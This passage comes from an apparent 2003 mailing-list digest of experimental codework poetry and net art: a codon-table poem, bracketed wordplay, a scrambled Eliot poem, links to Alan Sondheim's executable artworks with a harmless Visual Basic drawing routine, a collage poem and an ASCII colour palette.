Val\nGCT  A Ala      GAT  D Asp      GGT  G Gly TTT  F Phe      TCT  S Ser\nTAT  Y Tyr      TGT  C Cys.  Gtc  v val      gcc  a ala      gac  d asp\nggc  g gly ATA  I Ile i    ACA  T Thr      AAA  K Lys      AGA  R Arg\nCTT  L Leu      CCT  P Pro      CAT  H His      CGT  R Arg.  Gtt  v val\ngct  a ala      gat  d asp      ggt  g gly TTA  L Leu      TCA  S Ser\nTAA  * Ter      TGA  * Ter.  Ttt  f phe      tct  s ser      tat  y tyr\ntgt  c cys TTC  F Phe      TCC  S Ser      TAC  Y Tyr      TGC  C Cys\nGTG  V Val i    GCG  A Ala      GAG  E Glu      GGG  G Gly.  Ttg  l leu\ni    tcg  s ser      tag  * ter      tgg  w trp, TTA  L Leu      TCA  S\nSer      TAA  * Ter      TGA  * Ter TTC  F Phe      TCC  S Ser      TAC\nY Tyr      TGC  C Cys.\n\n\nGta  v val      gca  a ala      gaa  e glu      gga  g gly, GTC  V Val\nGCC  A Ala      GAC  D Asp      GGC  G Gly ATC  I Ile i    ACC  T Thr\nAAC  N Asn      AGC  S Ser.  Cta  l leu      cca  p pro      caa  q gln\ncga  r arg ATC  I Ile i    ACC  T Thr      AAC  N Asn      AGC  S Ser\nTTG  L Leu i    TCG  S Ser      TAG  * Ter      TGG  W Trp.  Ttc  f phe\ntcc  s ser      tac  y tyr      tgc  c cys TTA  L Leu      TCA  S Ser\nTAA  * Ter      TGA  * Ter GTA  V Val      GCA  A Ala      GAA  E Glu\nGGA  G Gly.  Gtg  v val i    gcg  a ala      gag  e glu      ggg  g gly,\nATT  I Ile i    ACT  T Thr      AAT  N Asn      AGT  S Ser TTC  F Phe\nTCC  S Ser      TAC  Y Tyr      TGC  C Cys.\n\n\nTtg  l leu i    tcg  s ser      tag  * ter      tgg  w trp, CTC  L Leu\nCCC  P Pro      CAC  H His      CGC  R Arg ATC  I Ile i    ACC  T Thr\nAAC  N Asn      AGC  S Ser.  Gtg  v val i    gcg  a ala      gag  e glu\nggg  g gly, TTT  F Phe      TCT  S Ser      TAT  Y Tyr      TGT  C Cys\nATA  I Ile i    ACA  T Thr      AAA  K Lys      AGA  R Arg.  Ttg  l leu\ni    tcg  s ser      tag  * ter      tgg  w trp GTT  V Val      GCT  A\nAla      GAT  D Asp      GGT  G Gly ATA  I Ile i    ACA  T Thr      AAA\nK Lys      AGA  R Arg.  Atg  m met i    acg  t thr      aag  k lys\nagg  r arg ATA  I Ile i    ACA  T Thr      AAA  K Lys      AGA  R Arg.\n\n\n\n\n\naugust highland\n\nmuse apprentice guild\n--\"expanding the canon into the 21st century\"\nwww.muse-apprentice-guild.com\n\nculture animal\n--\"following in the footsteps of tradition\"\nwww.cultureanimal.com\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.512 / Virus Database: 309 - Release Date: 8/19/2003\n\n\n\nTo: softwareandculture {AT} listserv.cddc.vt.edu.,screenburn {AT} yahoogroups.com\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nDate: Mon, 25 Aug 2003 21:28:07 +1000\nSubject: [screenburn] _Dream Fullscreen//:drownings.thru.the.cerebral.traumosphere_\n\n\n\n\n\n______________________dream [f]__Dream Fullscreen Editors_\n\n::bound head_tur[n]ings + ashen_washed dead calcium breathing\n:: vis.ewe.all skulls + broken head_space dust [car]r[i]ages\n::[glas]nost.algia pregnant in gl[eaned]ass jars + [hemi]spherical \ncatch.ments + passporting.kinetic.hells\n::l[anced]ucidity reduced in2 dream par.cells + state.cognition.jerks\n\n\n_emuscles [f]__[Emuscles Fullscreen Editors]_________________\n\n::muscle.meme.ory serves in discreet.pain.capsules\n::shift.blo[wn]at + ctrl.peelings\n::doubled.[paper.]backs + c.ramped.[s]kin.[Bill(ed N PayPalNosing)]Gates\n\n\n______________________________terror.ed [f]__T[error]xt Editors_\n\n::voicings.thru.luscious.[lep]Rosy.ness\n::melding \nverbal_scia.tic[k]as.with.teledrownings.thru.the.cerebral.traumosphere\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n------------------------ Yahoo! Groups Sponsor ---------------------~-->\nBuy Ink Cartridges or Refill Kits for Your HP, Epson, Canon or Lexmark\nPrinter at Myinks.com. Free s/h on orders $50 or more to the US & Canada. http://www.c1tracking.com/l.asp?cid=5511\nhttp://us.click.yahoo.com/l.m7sD/LIdGAA/qnsNAA/PbIolB/TM\n---------------------------------------------------------------------~->\n\nTo unsubscribe from this group, send an email to:\nscreenburn-unsubscribe {AT} yahoogroups.com\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: s e i s m i c\nDate: Wed, 27 Aug 2003 22:48:42 +0200\n\n\n\nstartrules\n\n   /.\\010.\\010.\\01_____________________________nroff\n   /-\\*- [Cc_________________________________________c]\n   /-\\*- [Cc]\\+\\+ -\\*-/\t\t\t\t\tcpp\n   /-\\*- [A________a][D________d][A__________a] -\\*-/a________________da\n \n[A________a][S__________s][M_____________m]as______________________m\n \n[O___________o][B__________b][J________________j][C______________c]objc\n \n[S________s][C_________c][H________h][E__________e][M____________m][E____________e]scheme\n   [Ee][Mm][Aa][Cc][Ss] [Ll][Ii][Ss][Pp]\telisp\n   [Tt][Cc][Ll]\t\t\t\ttcl\n   [Vv][Hh][Dd][Ll]\t\t\t\tvhdl\n   [Hh][Aa][Ss][Kk][Ee][Ll][Ll] \t\thaskell\n   [I___________i][D__d][L______l]\t\t\t\tidl\n   [P________p][E______e][R____________r][L________l]perl\n   [ t_______________]pe__________erl___________rl\n         \t\t\t\t\t\tpostscript\n           Fro_______________________________________mail\n               m\n         s y s m o\n > \ts y s m o d\n > \ts y s m o d u\n > \ts y s m o d u l\n > \ts y s m o d u l e\n > \ts y s m o d u l e\n > \ts y s m o.d.u.l.e s\n > \ts e i s m i c\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nDate:         Wed, 27 Aug 2003 23:11:32 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: ++ http://www.asondheim.org/portal/web.exe ++\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n++ http://www.asondheim.org/portal/web.exe ++\n\n\nhttp://www.asondheim.org/portal/baby.exe\n\nprograms,\n.exe\nexecutables, programs,\nand .exe\nso executables,\nforth.\nand\nhttp://www.asondheim.org/portal/swoon.exe\n\nhold.exe\n\nthat i\ni haven't\nhaven't any\nany executables\nexecutables today\ntoday or\nor any\nother\nthat\nwhat's\nleft\nan\nexecrable what's\nlather\nleft\n\n\n__\n\n\n\nDate: Mon, 25 Aug 2003 22:07:57 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: NESTED SPLITS 01\n\nNESTED SPLITS 01\n\n$tex1 = \"> \";\n$texa = \"We are the hollow men              \";\n$texb = \"We are the stuffed men             \";\n$texc = \"Leaning together                   \";\n$texd = \"Headpiece filled with straw. Alas! \";\n\n {AT} spxa = qw(0 1 2 3 4 0 2 4 1 3 0 3 1 4 2 0 4 3 2 1);\n {AT} spxb = qw(0 2 4 1 3 0 3 1 4 2 0 4 3 2 1 0 1 2 3 4);\n {AT} spxc = qw(0 3 1 4 2 0 4 3 2 1 0 1 2 3 4 0 2 4 1 3);\n {AT} spxd = qw(0 4 3 2 1 0 1 2 3 4 0 2 4 1 3 0 3 1 4 2);\n\n#\n\n\n>\n\n [W]\n\n>[e[We][Le[Head]a][pie] ][ [n][ce]a[i[ ]ng[f] ][il]r[t[led]o][ wit]e]\n\n [a[ ][ge[h ]t[stra]h][w]r[t[e[. A]r ][las]h[ [!] ][ Hea]e][ ][dp]e]\n\n>[ [ s[ ]t][ [iece] ][ fi]t[u][ [ll] [e] ]h[f[ [d] [ w] [ith] ][ str]fe[\n][aw]d][ [. Al] [a] [s! ]L]e][ [e][Hea]m][a[d]n[piec]i][e ]\n\n\n\n>[ h][en[ng[fill] ][ed ] [t][wi] ][o[t]ge[h]t][ s]\n\n [o[ [h[tra]e][w. A]  ][r [la] [s! H] ][e]l[ [ [adp]  ][iec] ][ [e] ][\nfil]l[ ][ ][le]o]\n\n>[w][ ]\n\n [ [ [ ] ][ [d wi] ][th ]m[ [ [st] [r] ] [ [a] [w.] [ Al] ][as!\n]W]e][e[Le][He] [a[adpi]n[e]i[ce ]n]a[g][fil]r][ [l]t[ed w]o][it]\n\n>\n\n [n [e ][ge[h st]t][raw] ][t[h][. ]h[e[A]r [l] ][as]e[ [! H] ][eadp] ]\n\n>[ ][s][  [ie] [ce f] ][i]\n\n [ [t[ [lle]  ][d w]u[ [i] ][th s]f][ ][tr]  [fe[ ]d][ [aw. ] ][Ala] ][ ][\n[s!] [ ]L]\n\n>[ [m[e[H]a[ea]n[dpi]i][ece ]en[ng][fi] ][ [lled]t[ ]o[wit]g] ][ [e][h s]\n][t[t]h[raw.]e][ A]\n\n\n\n>[  [  [r [las!] ][ He] [ ][ad] ][ [p]  [i] ][ec] [ [ [e f] ][ille]  ][  [d ]\n[with] ][ ] ][ [ [str]  ][aw.] ][ [ ] ][Alas]\n\n [ [ ][ ][! ]We][W]\n\n>[ [e[L] ][e[Head]a][pie]a][a[n[ce]i[ ]n]r[g[f] [il]t[led]o][ wit]e]\n\n [r][ [ge][h ]t[t[stra]h[w]e[. A]r]h[ ][las]e][ [!] [ Hea] ][dp]\n\n>\n\n [e]\n\n>[ [ s][  [iece] ][ fi]t][t[ ][ll]u[ [e]  [d] ][ w]f[ [ith] ][ str]f]\n\n [h[e][  [aw] [. Al] ][a]e[d[ [s! ]Le][Hea] [a[d]n][piec]m][i][e ] ]\n\n>[h[en[n] ][g[fill] ][ed ]o[ ][t[wi]o[t]g]l[ [e[h]t[ s]h[tra]e][w. A]  [r ][la]\n][ [s! H] [e] [adp] ]l][ [ ][iec] ][ [e] [ fil] ][le]\n\n\n\n>[ow][  [  [d wi] ][th ] [ ][st] ][ [r]  [a] ][w.]\n\n [ [ [ [ Al] ][as! ]We][Le[He]a[adpi]n][e]m[ [i[ce ]ng][fil]a][ [l]t][ed\nw]e[r][o][it]n]\n\n>[ ][e]\n\n [ [ [g]t][e[h st]t][raw] [h[h[. ]e[A]r]e[ [l] [as] [! H] ][eadp] ] ][s[\n][ie]t[ [ce f] [i] [lle] ]u[ ][d w]f][ [i] [th s] ][tr]\n\n>\n\n [  [fe][  [aw. ] ][Ala] ][d[ ][s!] [ [ ]Le[H]a][ea]m[n[dpi]i][ece ]e]\n\n>[ ][n][ng[fi] [lled]t][ ]\n\n [ [ [o[wit]ge][h s] [t[t]h][raw.] ][e][ A]  [  [r] ][ [las!] ][ He] ][ ][\n[ad] [p] ]\n\n>[ [ [ [i] [ec] [e f] ][ille]  [  ][d ] ][ [with] [ ] [str] ] ][ [ ][aw.] ][ [ ]\n[Alas] ][! ]\n\n\n\n>[We[We[Le[Head]a][pie] [n][ce]a][i[ ]ng[f] ][il] [r[t[led]o][ wit]e ][ge[h\n]t[stra]h][w]a][t[e[. A]r ][las]h][ [!] ][ Hea]\n\n [r[e][ ][dp]e ][ ]\n\n>[t[s[ ]t][ [iece] ][ fi]h][u[ [ll] [e] ]f[ [d] [ w] [ith] ][ str]f]\n\n [e][e[  ][aw]d[ [. Al] [a] [s! ]L] [e][Hea]m][a[d]n[piec]i][e ]\n\n>\n\n [ ]\n\n>[h[en][ng[fill] ][ed ]o][ [t][wi] [o[t]ge[h]t][ s] [h[tra]e][w. A] ]\n\n [l[ ][r [la] [s! H] ][e]l[ [ [adp]  ][iec] [ [e] ][ fil] ][ ][le]o]\n\n>[w[  [ ] ][ [d wi] ][th ] [ ][ [st] [r] ]m[ [ [a] [w.] [ Al] ][as! ]We[Le][He]\n][a[adpi]n[e]i[ce ]n]e][a[g][fil]r][ [l]t[ed w]o][it]\n\n\n\n>[n ][e [ge[h st]t][raw]t[h][. ]h][e[A]r [l] ][as]\n\n [ [e[ [! H] ][eadp] s][  [ie] [ce f] ][i] [t[ [lle]  ][d w]u][ [i] ][th s]\n[f][ ][tr] ]\n\n>[ ][f]\n\n [ [e[ ]d][ [aw. ] ][Ala] [ [ [s!] [ ]L]m[e[H]a[ea]n[dpi]i][ece ]e]\n][n[ng][fi] [ [lled]t[ ]o[wit]g] [e][h s] ][t[t]h[raw.]e][ A]\n\n>\n\n [  [  ][r [las!] ][ He] ][ [ ][ad] [ [p]  [i] ][ec] [ [e f] ][ille] ]\n\n>[ ][ ][  [d ] [with] ][ ]\n\n [ [ [ [str]  ][aw.] [ [ ] ][Alas] ][ ][! ]We[We[L] ][e[Head]a][pie]\n][a][n[ce]i[ ]n]\n\n>[a[r[g[f] [il]t[led]o][ wit]e [ge][h ]t][t[stra]h[w]e[. A]r]r][h[ ][las]e][ [!]\n[ Hea] ][dp]\n\n\n\n>[e [ s[  [iece] ][ fi]t[ ][ll]u][ [e]  [d] ][ w]t[f[ [ith] ][ str]fe][  [aw] [.\nAl] ][a]h][d[ [s! ]Le][Hea] ][a[d]n][piec]\n\n [e[m][i][e ] h][e]\n\n>[o[n[n] ][g[fill] ][ed ]l][ [t[wi]o[t]g] [e[h]t[ s]h[tra]e][w. A] ]\n\n [l][ [r ][la] [ [s! H] [e] [adp] ] [ ][iec] ][ [e] [ fil] ][le]\n\n>\n\n [o]\n\n>[w[  ][  [d wi] ][th ] ][ [ ][st] [ [r]  [a] ][w.] [ [ Al] ][as! ]W]\n\n [m[e][Le[He]a[adpi]n][e]e[ [i[ce ]ng][fil]a[ [l]t][ed w]r][o][it]n]\n\n>[ [e [g]t][e[h st]t][raw] [h][h[. ]e[A]r] [e[ [l] [as] [! H] ][eadp] s[\n][ie]t][ [ce f] [i] [lle] ] ][u[ ][d w]f][ [i] [th s] ][tr]\n\n\n\n>[  ][fe[  [aw. ] ][Ala]d[ ][s!] ][ [ ]Le[H]a][ea]\n\n [ [m[n[dpi]i][ece ]en][ng[fi] [lled]t][ ] [ [o[wit]ge][h s] ][t[t]h][raw.]\n[ ][e][ A] ]\n\n>[ ][ ]\n\n [ [ [r] ][ [las!] ][ He] [ [ [ad] [p] ] [ [i] [ec] [e f] ][ille] ] ][ [\n][d ] [ [with] [ ] [str] ] [ ][aw.] ][ [ ] [Alas] ][! ]\n\n>\n\n [We[We][Le[Head]a][pie] ][ [n][ce]a[i[ ]ng[f] ][il]r[t[led]o][ wit]e]\n\n>[a][ ][ge[h ]t[stra]h][w]\n\n [r[t[e[. A]r ][las]h[ [!] ][ Hea]e][ ][dp]e [ s[ ]t][ [iece] ][ fi]t][u][\n[ll] [e] ]\n\n>[h[f[ [d] [ w] [ith] ][ str]fe[  ][aw]d][ [. Al] [a] [s! ]L]e][\n[e][Hea]m][a[d]n[piec]i][e ]\n\n\n\n>[ h[en[ng[fill] ][ed ] [t][wi] ][o[t]ge[h]t][ s]o[ [h[tra]e][w. A]  ][r [la]\n[s! H] ][e]l][ [ [adp]  ][iec] ][ [e] ][ fil]\n\n [l[ ][ ][le]ow][ ]\n\n>[ [ [ ] ][ [d wi] ][th ]m][ [ [st] [r] ] [ [a] [w.] [ Al] ][as! ]W]\n\n [e][e[Le][He] [a[adpi]n[e]i[ce ]n]a[g][fil]r][ [l]t[ed w]o][it]\n\n>\n\n [n]\n\n>[ [e ][ge[h st]t][raw] ][t[h][. ]h[e[A]r [l] ][as]e[ [! H] ][eadp] ]\n\n [ [s][  [ie] [ce f] ][i] [t[ [lle]  ][d w]u[ [i] ][th s]f][ ][tr] ]\n\n>[ [fe[ ]d][ [aw. ] ][Ala] [ ][ [s!] [ ]L] [m[e[H]a[ea]n[dpi]i][ece ]en[ng][fi]\n][ [lled]t[ ]o[wit]g] ][ [e][h s] ][t[t]h[raw.]e][ A]\n\n\n\n>[  ][  [r [las!] ][ He] [ ][ad] ][ [p]  [i] ][ec]\n\n [ [ [ [e f] ][ille]  ][  [d ] [with] ][ ] [ [ [str]  ][aw.] ][ [ ] ][Alas]\n[ ][ ][! ]W]\n\n>[e][W]\n\n [ [e[L] ][e[Head]a][pie]a[a[n[ce]i[ ]n]r[g[f] [il]t[led]o][ wit]e]r][\n[ge][h ]t[t[stra]h[w]e[. A]r]h[ ][las]e][ [!] [ Hea] ][dp]\n\n>\n\n [e [ s][  [iece] ][ fi]t][t[ ][ll]u[ [e]  [d] ][ w]f[ [ith] ][ str]f]\n\n>[h][e][  [aw] [. Al] ][a]\n\n [e[d[ [s! ]Le][Hea] [a[d]n][piec]m][i][e ] h[en[n] ][g[fill] ][ed ]o][\n][t[wi]o[t]g]\n\n>[l[ [e[h]t[ s]h[tra]e][w. A]  [r ][la] ][ [s! H] [e] [adp] ]l][ [ ][iec] ][ [e]\n[ fil] ][le]\n\n\n\n>[ow[  [  [d wi] ][th ] [ ][st] ][ [r]  [a] ][w.] [ [ [ Al] ][as!\n]We][Le[He]a[adpi]n][e]m][ [i[ce ]ng][fil]a][ [l]t][ed w]\n\n [e[r][o][it]n ][e]\n\n>[ [ [g]t][e[h st]t][raw] ][h[h[. ]e[A]r]e[ [l] [as] [! H] ][eadp] ]\n\n [ ][s[  ][ie]t[ [ce f] [i] [lle] ]u[ ][d w]f][ [i] [th s] ][tr]\n\n>\n\n [ ]\n\n>[ [fe][  [aw. ] ][Ala] ][d[ ][s!] [ [ ]Le[H]a][ea]m[n[dpi]i][ece ]e]\n\n [ [n][ng[fi] [lled]t][ ] [ [o[wit]ge][h s] [t[t]h][raw.] ][e][ A] ]\n\n>[ [  [r] ][ [las!] ][ He] [ ][ [ad] [p] ] [ [ [i] [ec] [e f] ][ille]  [  ][d ]\n][ [with] [ ] [str] ] ][ [ ][aw.] ][ [ ] [Alas] ][! ]\n\n\n\n>[We][We[Le[Head]a][pie] [n][ce]a][i[ ]ng[f] ][il]\n\n [ [r[t[led]o][ wit]e ][ge[h ]t[stra]h][w]a[t[e[. A]r ][las]h][ [!] ][\nHea]r[e][ ][dp]e]\n\n>[ ][ ]\n\n [t[s[ ]t][ [iece] ][ fi]h[u[ [ll] [e] ]f[ [d] [ w] [ith] ][ str]f]e][e[\n][aw]d[ [. Al] [a] [s! ]L] [e][Hea]m][a[d]n[piec]i][e ]\n\n>\n\n [ h[en][ng[fill] ][ed ]o][ [t][wi] [o[t]ge[h]t][ s] [h[tra]e][w. A] ]\n\n>[l][ ][r [la] [s! H] ][e]\n\n [l[ [ [adp]  ][iec] [ [e] ][ fil] ][ ][le]ow[  [ ] ][ [d wi] ][th ] ][ ][\n[st] [r] ]\n\n>[m[ [ [a] [w.] [ Al] ][as! ]We[Le][He] ][a[adpi]n[e]i[ce ]n]e][a[g][fil]r][\n[l]t[ed w]o][it]\n\n\n\n>[n [e [ge[h st]t][raw]t[h][. ]h][e[A]r [l] ][as] [e[ [! H] ][eadp] s][  [ie]\n[ce f] ][i] ][t[ [lle]  ][d w]u][ [i] ][th s]\n\n [ [f][ ][tr]  ][f]\n\n>[ [e[ ]d][ [aw. ] ][Ala] ][ [ [s!] [ ]L]m[e[H]a[ea]n[dpi]i][ece ]e]\n\n [ ][n[ng][fi] [ [lled]t[ ]o[wit]g] [e][h s] ][t[t]h[raw.]e][ A]\n\n>\n\n [ ]\n\n>[ [  ][r [las!] ][ He] ][ [ ][ad] [ [p]  [i] ][ec] [ [e f] ][ille] ]\n\n [ [ ][  [d ] [with] ][ ] [ [ [str]  ][aw.] [ [ ] ][Alas] ][ ][! ]W]\n\n>[e[We[L] ][e[Head]a][pie] [a][n[ce]i[ ]n]a[r[g[f] [il]t[led]o][ wit]e [ge][h\n]t][t[stra]h[w]e[. A]r]r][h[ ][las]e][ [!] [ Hea] ][dp]\n\n\n\n>[e ][ s[  [iece] ][ fi]t[ ][ll]u][ [e]  [d] ][ w]\n\n [t[f[ [ith] ][ str]fe][  [aw] [. Al] ][a]h[d[ [s! ]Le][Hea]\n][a[d]n][piec]e[m][i][e ] ]\n\n>[h][e]\n\n [o[n[n] ][g[fill] ][ed ]l[ [t[wi]o[t]g] [e[h]t[ s]h[tra]e][w. A] ]l][ [r\n][la] [ [s! H] [e] [adp] ] [ ][iec] ][ [e] [ fil] ][le]\n\n>\n\n [ow[  ][  [d wi] ][th ] ][ [ ][st] [ [r]  [a] ][w.] [ [ Al] ][as! ]W]\n\n>[m][e][Le[He]a[adpi]n][e]\n\n [e[ [i[ce ]ng][fil]a[ [l]t][ed w]r][o][it]n [e [g]t][e[h st]t][raw]\n][h][h[. ]e[A]r]\n\n>[ [e[ [l] [as] [! H] ][eadp] s[  ][ie]t][ [ce f] [i] [lle] ] ][u[ ][d w]f][ [i]\n[th s] ][tr]\n\n\n\n>[  [fe[  [aw. ] ][Ala]d[ ][s!] ][ [ ]Le[H]a][ea] [m[n[dpi]i][ece ]en][ng[fi]\n[lled]t][ ] ][ [o[wit]ge][h s] ][t[t]h][raw.]\n\n [ [ ][e][ A]  ][ ]\n\n>[ [ [r] ][ [las!] ][ He] ][ [ [ad] [p] ] [ [i] [ec] [e f] ][ille] ]\n\n [ ][ [  ][d ] [ [with] [ ] [str] ] [ ][aw.] ][ [ ] [Alas] ][! ]\n\n>\n\n\n\n(c) mwp\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Swoon of code memory she is beside herself\nDate: Tue, 26 Aug 2003 01:20:51 -0400 (EDT)\n\n\n\nSwoon of code memory she is beside herself\nn\nhttp://www.asondheim.org/portal/swoon.exe\n\nPrivate Sub Command1_Click()\nStop\nCls\nEnd Sub\nRem Please note orphan Rem from previous versions\n\nPrivate Sub Form_Click()\nRem MsgBox \"RAM Problematic\", vbCritical, \"Error\"\nRem No MsgBox no Command1\n\nz = -2: x = 0\nj = z\nk = x\np = 1\ntwo:\nj = z\nk = x\nIf t < 16 Then t = t + 1 Else GoTo three\nx = x - 1 + z / 16\np = p + 1\nq = 2 * t / 20\nIf j + 24 > ScaleWidth Then j = j + t / 64\nIf z + Cos(x) / 36 + 16 > ScaleWidth Then z = z + t / 64\nPSet (j / 2, (k * Cos(k) + 0.25) / 2), Point(j + 24, (k * Cos(k) + 0.25) +\n24)\nPSet (z * Cos(z) / 36, x / 2), Point(z * Cos(z) / 36 + 16, x + 16)\nGoTo two\nthree: x = 0\nz = z + 0.05\nt = 1\nIf x > ScaleWidth Then x = y / 2\nIf y > ScaleHeight Then y = x / 2\nA = p Mod 100000\nRem If A < 4 Then MsgBox \"Resources Low\", vbCritical, \"Error\"\nRem Nothing here and no bother with p Mod for that matter\nIf p > 350000 Then GoTo four\nGoTo two\nfour:\nEnd Sub\n\n\n___\n\n\nDate:         Wed, 27 Aug 2003 23:02:05 -0700\nFrom: Lewis LaCook <llacook {AT} YAHOO.COM>\nSubject: RUB RAIN RANDOM\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nOF COURSE ROUGH MAIM ROUGE\n\nssssshhh//hollow wand/no end//glint//as carved, vr/rc,\ning vacant lip//ed, kiss as, owner\ncotton//null//elope, a poison ing//soy/toll/poem//red\ndelicate liberated//rb, bl, d//dr, doors roped\noff/velvet, taciturn//attourney/in tune with, just\nwaking//waiting to fall asleep//mem/ish, esque,\nic/entary//ai, ai, ai, ai//sure not to\nread//iness/inept, pessimists stimulated\n\nCOATS RUB RAIN RANDOM MOLE\n\npuffy sky inflate grip of treetp//pr, la/ks,\naleph//Then came the bl/cko/t//Early reports traced\nthe problem to failures at FirstEnergy tr/nsmi//ion//\nlines in Ohio. The company//. COM //C:\\run pm\nmodule//But the l/gisl//tion has also become almost a\nd1rty w0r*:d in some circles in recent months:\\The\nRepublican-led House v*t~d overwhelmingly last month\nto repeal a key provision//sieve, vase/plan,\nschema:\\E:\\Windows\\System\\tartar sauce, tamper\nproof//bio~eth=cs\n\nROMAN MODE\n\npf, .pd, E:\\feelingly, with a more various\ntemp//0//With thr33 p3opl3 d*ad in//similar\nsingle-shot snpr ttcks// n Wst Vrgn lst w33k,/ federal\nagents who investigated the serial sniper case in the\nWashington area last year ha//you laugh now/winnowed\nby truthfulness:\\really necessary agreement\\other\nquestions must be answered//absolutely\nempty//Josette:\\would like:\\this--**~**--//lightning\ntrickles from the veins in the sky:\\walking, knowing\nyou're home/afraid of you//your vacation:\\==otherwise,\nwhy walk in this wind that eats up:\\your steps\n\nMA CHAIN/GAP\n\n\n\n\n\n\n=====\n\n\nNEW!!!--Dirty Milk--reactive poem for microphone http://www.lewislacook.com/DirtyMilk/\n\nhttp://www.lewislacook.com/\n\ntubulence artist studio:  http://turbulence.org/studios/lacook/index.html\n\n\n\n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nYahoo! SiteBuilder - Free, easy-to-use web site design software\nhttp://sitebuilder.yahoo.com\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: orange\nDate: Tue, 26 Aug 2003 00:31:28 +0200\n\nPalette\nBrowns and Yellows\n1 8 9 1 8 3 1 0 7 D.a.r.k.K.h.a.k.i.\n2 4 0 2 3 0 1 4 0 K.h.a.k.i.\n2 3 8 2 3 2 1 7 0 P.a.l.e.G.o.l.d.e.n.r.o.d.\n2 5 0 2 5 0 2 1 0 L.i.g.h.t.G.o.l.d.e.n.r.o.d.Y.e.l.l.o.w.\n2 5 5 2 5 5 2 2 4 L.i.g.h.t.Y.e.l.l.o.w.\n2 5 5 2 5 5 0 Y.e.l.l.o.w.\n2 5 5 2 1 5 0 G.o.l.d.\n2 3 8 2 2 1 1 3 0 L.i.g.h.t.G.o.l.d.e.n.r.o.d.\n2 1 8 1 6 5 3 2 G o l d e n r o d\n1 8 4 1 3 4 1 1 D a r k G o l d e n r o d\n1 8 8 1 4 3 1 4 3 R.o.s.y.B.r.o.w.n.\n1 3 9 6 9 1 9 S.a.d.d.l.e.B.r.o.w.n.\n             \\\n              \\      S.i.e.n.n.a.\n      2 0 5 1 3   3 6 3 P.e.r.u.\n      2 2 2 1 8   1 3 5 B.u.r.l.y.w.o.o.d.\n      2 4 5 2 4 5   2 2 0 B.e.i.g.e.\n                  \\   W.h.e.a.t.\n                   \\                 a.n.d.y.B.r.O.w.n.\n                    \\                             R.a.n.\n                     \\                     o.c.o.l.A.t.e.\n                      \\                           a.N.g.e.\n                       \\                     O.r.a.n.G.e.\n                        \\                           g.E.w\n                         \\\n                          \\\n                           \\\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nTo: thingist {AT} bbs.thing.net, list {AT} rhizome.org, _arc.hive_ {AT} lm.va.com.au\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: 0308241213\nDate: Sun, 24 Aug 2003 12:19:31 +0200\n\nm.oy.dv-du-ln- .s.r-r.y l\n                .i.n-i e.  m l/i x e a+\n                             n/e p+o+t\n                             o/a p e+i o  -d.e+i.d..+i\nh+, -i  .d n t-n.\n  +e.s.a+\nd+ /h#r t t/u+, /o\na\n      #e.c.i\n   i/m#ot.a\n     a#a\nn.h.e/io.o\ne.W. - .m-i.p t t-e\n        .t-o   p\n                 s-i\n                 i-t-y\n                   i\n\n                 o-t\ng. +tn.ue\n\n\nt /'+, d.uo i\n\nkw+ e\n\n     p\n     s\n     e.t. .o.\n     d\n         b.b.g\n     a.w\n\n  -k\n     i\n   g t\n     i\n         o.s b\n\ni+  t+  I#n o#ii\n\ns/ oc.ra\nn/ e.o\nu/ t 0'\n\nvl ls1nn.x\n      1-m0r.1r v a\n      1i.u ..\n      1i t t.e\n      1\n  a n.r v.s t/h/g.r e   l+e.'+e i.'  /t h/i/n.d d n+n.e\n   -s k n p-r r d n. .  r-t+d s.s+ .t.r t.a  .i i.a m s1\n                                          t t/  c/e e w1\ns . # . #t#o/t.o#e 0\n                   a0p\n                   s0i.y\ni.ctigm.s.e0t\nu.y0 1t\n      1o\n      1hr\n\ns1.hhikt.b\n\nm/p e i-t\n  /oa.d-n+b n/ -a/w.m/e+i//n-f.h0 .s\n                                0s-i+i\n                                0t+\n\na-a\n        ts\nd-o.a.a\n   t.o.c\n        s\n        r\n   o.  +s\n        u\n        n\n      ' i 1\n        o\n   m.r.f i.u+l  +\n          1  o\n        t\n        e1m\n        pa\n        t /n/q#eh#\n        i\n             l#e\n        x\n             s#a/a\n              v/\n             p/t#a n-p/a o/  l-\n        e' i-/n-i\n           W/       /i-a-n e p\n  e s t-  t/ en-t d/o\n      -t a/f     o/o-  o t/t\n        h/d d   i/t      /a\n        r              s/i~i\n              ./i      /  c n e\n    ~o/p t~  i/s\n\n        p\n        s\n        o\n        i\n\n        y~n\n        x~c\n        i~s~n~l\n        t     a\n        e~s~h\n        t~\n        e     s\n        r     f\n        s~     .o\n            o~u.i.i\n              s.on\n              e.ss0 b = dd\n                    o = d\n                      = ne 0\n        n       agw\n        w     n\n              g.o\n        e     p.b = i\n        y~1   I\n\n  1s\n  1v\n        v\n        o\n              ' c = r.t\n                    s.f-f.u+t+o/n-n  +\n                              /\n\nor-v.i-ps-.e+t0l = m.p+v v-/ -i. +q. 0\n                t = 